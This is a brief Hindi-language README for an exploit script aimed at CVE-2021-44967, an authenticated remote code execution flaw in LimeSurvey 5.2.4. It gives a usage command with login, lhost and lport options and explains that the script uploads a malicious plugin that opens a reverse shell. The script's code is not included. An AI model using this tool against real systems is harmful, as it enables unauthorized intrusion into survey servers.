CVE-2021-44967 - प्रमाणित(विशेषाधिकार प्राप्त) RCE

LimeSurvey संस्करण 5.2.4 में प्रमाणित (विशेषाधिकार प्राप्त) दूरस्थ कमांड निष्पादन, अपलोड और इंस्टॉल प्लगइन्स के माध्यम से, एक दूरस्थ उपयोगकर्ता को मनमाना PHP कोड फ़ाइल अपलोड करने की अनुमति देता है।

उपयोग

python3 exploit.py --url <http://example.com> --user <userName> --password <userPassword> --lhost <localHost> --lport <localPort>

एक सुपरएडमिन उपयोगकर्ता को LimeSurvey प्रशासन पैनल के माध्यम से प्लगइन मॉड्यूल लोड करने की अनुमति है। स्क्रिप्ट स्थानीय रूप से फ़ाइलें बनाती है, उन्हें ज़िप करती है और अपलोड करती है। बाद में, मॉड्यूल को इंस्टॉल, सक्रिय और चलाने के लिए एक कॉल किया जाता है, जो रिवर्स शेल को निष्पादित करता है।